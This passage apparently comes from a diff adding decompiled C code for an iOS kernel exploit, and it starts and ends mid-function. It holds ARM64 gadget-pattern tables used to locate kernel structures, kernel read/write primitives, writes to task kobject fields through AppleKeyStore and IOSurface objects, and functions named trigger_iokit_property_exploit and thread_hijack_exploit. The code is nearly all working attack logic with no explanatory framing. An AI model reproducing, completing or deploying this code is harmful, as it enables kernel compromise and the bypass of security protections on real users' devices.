// w27 + unsigned __int64 v10; // x0 + struct_krwCtx *v11; // x22 + __int64 v12; // x0 + unsigned __int64 v13; // x22 + __int64 v14; // x28 + __int64 v15; // x23 + int v16; // w0 + struct_krwCtx *v18; // x22 + __int64 v19; // x0 + unsigned __int64 v20; // x21 + __int64 v21; // x23 + __int64 v22; // x0 + __int64 v23; // x22 + __int64 v24; // x23 + int v25; // w24 + __int64 v26; // x21 + unsigned int v27; // w23 + unsigned __int64 v28; // x0 + unsigned int v29; // w21 + unsigned int v30; // w8 + struct physmap_gadget_table *gadgets = (struct physmap_gadget_table *)a1; + static const uint32_t exceptionReturnWords[11] = { + 0xBAA20010, 0x2E4A0020, 0x3A870028, 0xFFFC0038, + 0x56350048, 0xBE600050, 0x32E50058, 0x7F140420, + 0xEA140568, 0xEA2305C0, 0x2BCB05C8 + }; + static const uint32_t exact2Mask[2] = { 0xFFFFFFFF, 0xFFFFFFFF }; + static const uint32_t exact3Mask[3] = { 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF }; + static const uint32_t exact4Mask[4] = { 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF }; + static const uint32_t ldrX0RetWords[2] = { 0xF9402400, 0xD65F03C0 }; + static const uint32_t movX15BrX17Words[4] = { 0xD280060F, 0x14000000, 0xD280000F, 0x14000000 }; + static const uint32_t movX15BrX21Words[4] = { 0xD28006AF, 0x14000000, 0xD280000F, 0x14000000 }; + static const uint32_t movX15BranchMasks[4] = { 0xFFFFFFFF, 0xFC000000, 0xFFE0001F, 0xFC000000 }; + static const uint32_t mrsSpselRetWords[2] = { 0xD508831F, 0xD65F03C0 }; + static const uint32_t strPacibspLegacyWords[2] = { 0xF9000041, 0xD65F03C0 }; + static const uint32_t strPacibspModernWords[2] = { 0xF9000022, 0xD65F03C0 }; + static const uint32_t movX0RetWords[3] = { 0xAA0003E8, 0x52820002, 0x72A003A2 }; + static const uint32_t movX0X19RetWords[2] = { 0xB2400000, 0x17000000 }; + static const uint32_t movX0X19RetMasks[2] = { 0xFFFFFFFF, 0xFF000000 }; + static const uint32_t adrDataRefWords[4] = { 0xD53B4222, 0xD50343DF, 0xD5087800, 0xD5033FDF }; + static const uint32_t jumpTargetWords[4] = { 0x00010004, 0xDEADDAB7, 0x00000001, 0x00000000 }; + static const uint32_t vmPageArrayWords[5] = { 0xD34EFD08, 0x90000000, 0xF9400000, 0x8B284528, 0x78E13108 }; + static const uint32_t vmPageArrayMasks[5] = { 0xFFFFFFFF, 0x9F000000, 0xFFC00000, 0xFFFFFFFF, 0xFFFFFFFF }; + + v6 = *(uint64_t *)algn_480E0; + if ( strstr((const char *)qword_480D8, "T8020") ) + return 5; + memcpy(gadgets->exceptionReturnWords, exceptionReturnWords, sizeof(gadgets->exceptionReturnWords)); + gadgets->ldrX0Ret = LOOKUP_KOBJ_PATTERN(a2, ldrX0RetWords, exact2Mask, 2); + gadgets->movX15BrX17 = LOOKUP_KOBJ_PATTERN(a2, movX15BrX17Words, movX15BranchMasks, 4); + gadgets->movX15BrX21 = LOOKUP_KOBJ_PATTERN(a2, movX15BrX21Words, movX15BranchMasks, 4); + gadgets->mrsSpselRet = LOOKUP_KOBJ_PATTERN(a2, mrsSpselRetWords, exact2Mask, 2); + if ( v6 < 0x918C5A83400LL ) + { + v9 = -1459420545; + v8 = LOOKUP_KOBJ_PATTERN(a2, strPacibspLegacyWords, exact2Mask, 2); + } + else + { + v8 = LOOKUP_KOBJ_PATTERN(a2, strPacibspModernWords, exact2Mask, 2); + v9 = -1459420449; + } + gadgets->strPacibspX1Ret = v8; + gadgets->pacizaStrX2Ret = LOOKUP_KOBJ_PATTERN(a2, movX0RetWords, exact3Mask, 3); + gadgets->movX0Ret = LOOKUP_KOBJ_PATTERN(a2, movX0X19RetWords, movX0X19RetMasks, 2) + 8; + gadgets->movX0X19Ret = LOOKUP_KOBJ_PATTERN(a2, adrDataRefWords, exact4Mask, 4); + v10 = kobj_snapshot_pattern_search_via_ctx((__int64)a2, (__int64)jumpTargetWords, (__int64)exact4Mask, 4u); + gadgets->jumpTarget = v10 - 8; + v11 = KRWCTX_FROM_RAW_FIELD(a3, 32); + v12 = kread_u64_value(a3, v10 + 16); + v13 = krw_xpac_vaddr_2(v11, v12); + v14 = 0; + while ( 1 ) + { + v15 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v13 + v14); + v16 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v13 + v14 + 8); + if ( (v15 & 0xFC000000) == 0x94000000 && v16 == v9 ) + break; + v14 += 4; + if ( (uint32_t)v14 == 4096 ) + goto LABEL_14; + } + *(uint64_t *)(a1 + 112) = v13 + (v15 << 38 >> 36) + v14; +LABEL_14: + v18 = KRWCTX_FROM_RAW_FIELD(a3, 32); + v19 = kread_u64_value(a3, gadgets->jumpTarget + 24LL); + v20 = krw_xpac_vaddr_2(v18, v19); + v21 = 0; + while ( 1 ) + { + v22 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v20 + v21); + if ( (v22 & 0xFC000000) == 0x94000000 && v20 + v21 + (v22 << 38 >> 36) == gadgets->adrDataRef ) + break; + v21 += 4; + if ( (uint32_t)v21 == 768 ) + { + v23 = 0; + goto LABEL_20; + } + } + v23 = v20 + v21; +LABEL_20: + v24 = 0; + if ( v6 <= 0x918C5A833FFLL ) + v25 = -117434784; + else + v25 = -117434688; + while ( 1 ) + { + v26 = v23 + v24; + if ( (unsigned int)read_u32_from_kobj_snapshot((__int64)a2, *a2, v23 + v24) == v25 ) + break; + v24 -= 4; + if ( (uint32_t)v24 == -128 ) + { + v26 = 0; + break; + } + } + v27 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v26 + 4); + gadgets->vmPageArray = ((v26 + 4) & 0xFFFFFFFFFFFFF000LL) + + 2LL * (int)(((v27 >> 18) & 0x1800) | (v27 >> 5 << 13)) + + (((unsigned int)read_u32_from_kobj_snapshot((__int64)a2, *a2, v26 + 8) >> 7) & 0x7FF8); + v28 = LOOKUP_KOBJ_PATTERN(a2, vmPageArrayWords, vmPageArrayMasks, 5); + gadgets->pmapTteTable = v28; + v29 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v28 + 4); + v30 = read_u32_from_kobj_snapshot((__int64)a2, *a2, gadgets->pmapTteTable + 8LL); + result = 0; + gadgets->pmapTteTable = ((gadgets->pmapTteTable + 4LL) & 0xFFFFFFFFFFFFF000LL) + + 2LL * (int)(((v29 >> 18) & 0x1800) | (v29 >> 5 << 13)) + + ((v30 >> 7) & 0x7FF8); + return result; +} + +//----- (000000000001AA90) ---------------------------------------------------- +__int64 __fastcall spin_wait_el0_transition(__int64 result) +{ + __int64 v1; // x19 + + if ( *(uint32_t *)(result + 20) ) + { + v1 = result; + do + { + if ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) != 0 ) + result = thread_switch(*(uint32_t *)(v1 + 20), 0, 0); + } + while ( *(uint32_t *)(v1 + 20) ); + } + return result; +} + +//----- (000000000001AADC) ---------------------------------------------------- +__int64 __fastcall necp_set_opt_string_2(__int64 a1, __int64 a2) +{ + const CFDictionaryRef *v4; // x0 + io_service_t MatchingService; // w0 + unsigned __int64 v6; // x21 + __int64 v7; // x0 + unsigned __int64 v8; // x23 + struct_krwCtx *v9; // x24 + __int64 v10; // x0 + unsigned __int64 v11; // x0 + __int64 v12; // x24 + __int64 v13; // x25 + __int64 v14; // x0 + struct_krwCtx *v15; // x24 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + __int64 v18; // x24 + __int64 v19; // x25 + __int64 v20; // x0 + struct_krwCtx *v21; // x24 + __int64 v22; // x0 + unsigned __int64 v23; // x0 + __int64 v24; // x24 + __int64 v25; // x25 + __int64 v26; // x0 + struct_krwCtx *v27; // x24 + __int64 v28; // x0 + unsigned __int64 v29; // x0 + __int64 v30; // x24 + __int64 v31; // x25 + __int64 v32; // x0 + struct_krwCtx *v33; // x24 + __int64 v34; // x0 + unsigned __int64 v35; // x0 + __int64 v36; // x24 + __int64 v37; // x25 + __int64 v38; // x0 + struct_krwCtx *v39; // x24 + __int64 v40; // x0 + unsigned __int64 v41; // x0 + __int64 v42; // x24 + __int64 v43; // x25 + __int64 v44; // x0 + struct_krwCtx *v45; // x24 + __int64 v46; // x0 + unsigned __int64 v47; // x0 + __int64 v48; // x24 + __int64 v49; // x25 + __int64 v50; // x0 + struct_krwCtx *v51; // x24 + __int64 v52; // x0 + unsigned __int64 v53; // x0 + __int64 v54; // x24 + __int64 v55; // x25 + __int64 v56; // x0 + struct_krwCtx *v57; // x24 + __int64 v58; // x0 + unsigned __int64 v59; // x0 + __int64 v60; // x23 + __int64 v61; // x24 + __int64 v62; // x0 + __int64 v63; // x23 + __int64 v64; // x24 + __int64 v65; // x0 + __int64 v66; // x23 + __int64 v67; // x24 + __int64 v68; // x0 + __int64 v69; // x23 + __int64 v70; // x24 + __int64 v71; // x0 + __int64 v72; // x0 + __int64 v73; // x22 + __int64 v74; // x0 + unsigned __int64 v75; // x0 + __int64 result; // x0 + __int128 v77; // [xsp+10h] [xbp-50h] BYREF + + v4 = IOServiceMatching("AppleKeyStore"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v4); + IOServiceOpen(MatchingService, mach_task_self_, 0, (io_connect_t *)a2); + v6 = get_task_kobject_addr_from_field32(*(uint64_t *)a1, *(uint32_t *)a2); + *(uint64_t *)(a2 + 24) = kread_u64_value(*(uint64_t *)a1, v6 + 72); + v7 = kread_u64_value(*(uint64_t *)a1, v6); + *(uint64_t *)(a2 + 32) = v7; + v8 = krw_xpac_vaddr_2(KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32), v7); + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v77); + *(uint64_t *)(a2 + 16) = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v77); + v9 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v10 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48048); + v11 = krw_xpac_vaddr_2(v9, v10); + v12 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48048; + v13 = *(uint64_t *)a1; + v14 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v11, + (v12 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4804A << 48)); + kwrite_u64_to_addr(v13, v12, v14); + v15 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v16 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_4804C); + v17 = krw_xpac_vaddr_2(v15, v16); + v18 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4804C; + v19 = *(uint64_t *)a1; + v20 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v17, + (v18 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4804E << 48)); + kwrite_u64_to_addr(v19, v18, v20); + v21 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v22 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48050); + v23 = krw_xpac_vaddr_2(v21, v22); + v24 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48050; + v25 = *(uint64_t *)a1; + v26 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v23, + (v24 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48052 << 48)); + kwrite_u64_to_addr(v25, v24, v26); + v27 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v28 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48054); + v29 = krw_xpac_vaddr_2(v27, v28); + v30 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48054; + v31 = *(uint64_t *)a1; + v32 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v29, + (v30 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48056 << 48)); + kwrite_u64_to_addr(v31, v30, v32); + v33 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v34 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48058); + v35 = krw_xpac_vaddr_2(v33, v34); + v36 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48058; + v37 = *(uint64_t *)a1; + v38 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v35, + (v36 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4805A << 48)); + kwrite_u64_to_addr(v37, v36, v38); + v39 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v40 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_4805C); + v41 = krw_xpac_vaddr_2(v39, v40); + v42 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4805C; + v43 = *(uint64_t *)a1; + v44 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v41, + (v42 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4805E << 48)); + kwrite_u64_to_addr(v43, v42, v44); + v45 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v46 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48060); + v47 = krw_xpac_vaddr_2(v45, v46); + v48 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48060; + v49 = *(uint64_t *)a1; + v50 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v47, + (v48 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48062 << 48)); + kwrite_u64_to_addr(v49, v48, v50); + v51 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v52 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48070); + v53 = krw_xpac_vaddr_2(v51, v52); + v54 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48070; + v55 = *(uint64_t *)a1; + v56 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v53, + (v54 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48072 << 48)); + kwrite_u64_to_addr(v55, v54, v56); + v57 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v58 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48064); + v59 = krw_xpac_vaddr_2(v57, v58); + v60 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48064; + v61 = *(uint64_t *)a1; + v62 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + v59, + (v60 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48066 << 48)); + kwrite_u64_to_addr(v61, v60, v62); + v63 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4806C; + v64 = *(uint64_t *)a1; + v65 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + qword_48078, + (v63 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4806E << 48)); + kwrite_u64_to_addr(v64, v63, v65); + v66 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48068; + v67 = *(uint64_t *)a1; + v68 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + qword_48078 + 4, + (v66 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4806A << 48)); + kwrite_u64_to_addr(v67, v66, v68); + v69 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48064; + v70 = *(uint64_t *)a1; + v71 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + qword_48078 + 4, + (v69 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48066 << 48)); + kwrite_u64_to_addr(v70, v69, v71); + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v77); + v72 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v77); + *(uint64_t *)(a2 + 8) = v72; + kwrite_u64_to_addr(*(uint64_t *)a1, v72 + 16, 0); + kwrite_u64_to_addr(*(uint64_t *)a1, v6 + 72, *(uint64_t *)(a2 + 8)); + flush_cpu_cache(*(uint64_t *)a1, v6 + 156, 273); + v73 = *(uint64_t *)a1; + v74 = (*(__int64 (__fastcall **)(uint64_t, uint64_t, unsigned __int64))(**(uint64_t **)(a1 + 8) + 32LL))( + *(uint64_t *)(a1 + 8), + *(uint64_t *)(a2 + 16), + (v6 & 0xFFFFFFFFFFFFLL) | 0xCDA1000000000000LL); + kwrite_u64_to_addr(v73, v6, v74); + *(uint64_t *)&v77 = *(uint64_t *)(a2 + 8); + v75 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480B0, + 1, + &v77); + result = physmap_map_cached(KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32), v75, a2 + 40); + **(uint64_t **)(a2 + 40) = 0; + return result; +} +// 0: using guessed type int def_3E8F0; +// 4: using guessed type int dword_4; +// 8: using guessed type int dword_8; +// C: using guessed type int; +// 10: using guessed type int dword_10; +// 14: using guessed type int; +// 18: using guessed type int; +// 1C: using guessed type int; +// 20: using guessed type segment_command_64 stru_20; + +//----- (000000000001B158) ---------------------------------------------------- +__int64 __fastcall write_task_kobject_fields(__int64 a1, __int64 a2) +{ + unsigned __int64 v4; // x21 + double v5; // d0 + __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-38h] BYREF + __int64 v8; // [xsp+10h] [xbp-30h] + + v4 = get_task_kobject_addr_from_field32(*(uint64_t *)a1, *(uint32_t *)a2); + kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 72, *(uint64_t *)(a2 + 24)); + kwrite_u64_to_addr(*(uint64_t *)a1, v4, *(uint64_t *)(a2 + 32)); + flush_cpu_cache(*(uint64_t *)a1, v4 + 156, 0); + v5 = physmap_unmap_cached(*(uint64_t *)(*(uint64_t *)a1 + 32LL), a2 + 40); + v7 = *(uint64_t *)(a2 + 8); + v8 = 0x4000; + (*(void (__fastcall **)(uint64_t, __int64, __int64, __int64 *, double))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A8, + 2, + &v7, + v5); + v7 = *(uint64_t *)(a2 + 16); + v8 = 0x4000; + (*(void (__fastcall **)(uint64_t, __int64, __int64, __int64 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A8, + 2, + &v7); + result = IOServiceClose(*(uint32_t *)a2); + *(uint32_t *)a2 = 0; + return result; +} + +//----- (000000000001B280) ---------------------------------------------------- +__int64 __fastcall trigger_iokit_property_exploit(__int64 a1) +{ + __int128 v3; // [xsp+20h] [xbp-30h] BYREF + + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v3); + *(uint64_t *)&v3 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v3); + (*(void (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480B0, + 1, + &v3); + (*(void (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 18); + return (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 16); +} + +//----- (000000000001B360) ---------------------------------------------------- +__int64 __fastcall wait_thread_ready(__int64 a1, uint64_t **a2) +{ + uint64_t *i; // x8 + __int16 j; // w8 + mach_port_name_t v6; // w0 + thread_act_t v7; // w0 + __int64 result; // x0 + integer_t policy_info[4]; // [xsp+30h] [xbp-30h] BYREF + + for ( i = *a2; *i; i = *a2 ) + sched_yield(); + for ( j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); (j & 0xFFC) != 0; j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) ) + { + v6 = mach_thread_self(); + thread_switch(v6, 0, 0); + } + policy_info[0] = kThreadHijackReadyPolicy[0]; + policy_info[1] = kThreadHijackReadyPolicy[1]; + policy_info[2] = kThreadHijackReadyPolicy[2]; + policy_info[3] = kThreadHijackReadyPolicy[3]; + v7 = mach_thread_self(); + thread_policy_set(v7, 2u, policy_info, 4u); + result = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 53); + **a2 = 2; + return result; +} + +//----- (000000000001B42C) ---------------------------------------------------- +__int64 __fastcall thread_hijack_exploit(__int64 a1) +{ + unsigned __int64 v2; // x26 + thread_act_t v3; // w0 + __int64 v4; // x20 + __int64 v5; // x21 + __int64 v6; // x0 + struct_krwCtx *v7; // x21 + __int64 v8; // x0 + unsigned __int64 v9; // x0 + struct_krwCtx *v10; // x21 + __int64 v11; // x0 + unsigned __int64 v12; // x22 + __int64 v13; // x21 + __int64 v14; // x0 + __int64 v16; // x0 + __int64 v17; // x0 + __int64 v18; // x21 + __int64 v19; // x23 + __int64 v20; // x0 + __int64 v21; // x21 + __int64 v22; // x23 + __int64 v23; // x8 + __int64 v24; // x0 + bool v25; // zf + __int64 v26; // x24 + __int64 v27; // x21 + __int64 v28; // x0 + unsigned __int64 v29; // x8 + __int64 v30; // x28 + unsigned __int64 v31; // x8 + mach_port_name_t v32; // w0 + __int64 v33; // x8 + int v34; // w21 + __int64 v35; // x9 + __int64 v36; // x20 + __int64 v37; // [xsp+40h] [xbp-400h] + unsigned __int64 v38; // [xsp+48h] [xbp-3F8h] + __int64 v39; // [xsp+50h] [xbp-3F0h] + __int64 v40; // [xsp+58h] [xbp-3E8h] + __int64 v41; // [xsp+60h] [xbp-3E0h] + __int64 v42; // [xsp+68h] [xbp-3D8h] + uintptr_t v43; // [xsp+70h] [xbp-3D0h] + unsigned __int64 v44; // [xsp+78h] [xbp-3C8h] + __int64 v45; // [xsp+88h] [xbp-3B8h] + uintptr_t v46; // [xsp+90h] [xbp-3B0h] + uint64_t v47[12]; // [xsp+A8h] [xbp-398h] BYREF + pthread_t v48; // [xsp+108h] [xbp-338h] BYREF + uint64_t v49[5]; // [xsp+110h] [xbp-330h] BYREF + __int64 v50; // [xsp+138h] [xbp-308h] BYREF + __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF + __int128 connect[2]; // [xsp+150h] [xbp-2F0h] BYREF + __int128 v53; // [xsp+170h] [xbp-2D0h] + __int128 v54; // [xsp+180h] [xbp-2C0h] + __int128 v55; // [xsp+190h] [xbp-2B0h] + __int128 v56; // [xsp+1A0h] [xbp-2A0h] + __int128 v57; // [xsp+1B0h] [xbp-290h] BYREF + uint64_t v58[64]; // [xsp+1C8h] [xbp-278h] BYREF + + v2 = *(uint64_t *)algn_480E0; + if ( strstr((const char *)qword_480D8, "T8020") ) + return 5; + v55 = 0u; + v56 = 0u; + v53 = 0u; + v54 = 0u; + memset(connect, 0, sizeof(connect)); + necp_set_opt_string_2(a1, (__int64)connect); + ((integer_t *)&policy_info)[0] = kThreadHijackMainPolicy[0]; + ((integer_t *)&policy_info)[1] = kThreadHijackMainPolicy[1]; + ((integer_t *)&policy_info)[2] = kThreadHijackMainPolicy[2]; + ((integer_t *)&policy_info)[3] = kThreadHijackMainPolicy[3]; + v3 = mach_thread_self(); + thread_policy_set(v3, 2u, (thread_policy_t)&policy_info, 4u); + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); + v4 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v57); + kwrite_u64_to_addr(*(uint64_t *)a1, v4, 0xBEE5000000010003LL); + kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 8, v4 + 256); + kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 16, v4 + 512); + kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 24, v4 + 768); + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); + v5 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v57); + while ( 1 ) + { + v6 = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 48); + if ( (unsigned __int8)v6 != 6 ) + break; + trigger_iokit_property_exploit(a1); + } + if ( v6 ) + return 5; + v45 = kread_u64_value(*(uint64_t *)a1, v5); + v7 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v8 = kread_u64_value(*(uint64_t *)a1, *(uint64_t *)(*(uint64_t *)a1 + 16LL) + 40LL); + v9 = krw_xpac_vaddr_2(v7, v8); + v10 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); + v11 = kread_u64_value(*(uint64_t *)a1, v9 + 64); + v12 = krw_xpac_vaddr_2(v10, v11); + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); + v13 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v57); + kwrite_u64_to_addr(*(uint64_t *)a1, v13, 0); + v58[0] = v13; + (*(void (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480B0, + 1, + v58); + while ( 1 ) + { + v14 = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 10); + if ( (unsigned __int8)v14 != 6 ) + break; + trigger_iokit_property_exploit(a1); + } + if ( v14 ) + return 5; + MEMORY[0x400004008] = 1094795585; + v16 = kread_u64_value(*(uint64_t *)a1, v12); + v58[0] = kread_u64_value(*(uint64_t *)a1, v16) & 0xFFFFFFFFC000LL; + v17 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480B8, + 1, + v58); + v18 = kread_u64_value(*(uint64_t *)a1, v17 + 4096) & 0xFFFFFFFFC000LL; + v58[0] = v18; + v42 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480B8, + 1, + v58); + v44 = (kread_u64_value(*(uint64_t *)a1, v42 + 8) & 0xFFFF000000003FFFLL) | v18; + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); + v43 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v57); + v19 = *(uint64_t *)a1; + v20 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + qword_48098, + 20592); + kwrite_u64_to_addr(v19, v43 + 64, v20); + SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); + v46 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v57); + v21 = 0; + do + { + v22 = kThreadHijackAllocCandidates[v21].size; + v23 = kThreadHijackAllocCandidates[v21].pageCount; + *(uint64_t *)&v57 = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; + *((uint64_t *)&v57 + 1) = v23; + v24 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A0, + 2, + &v57); + if ( v24 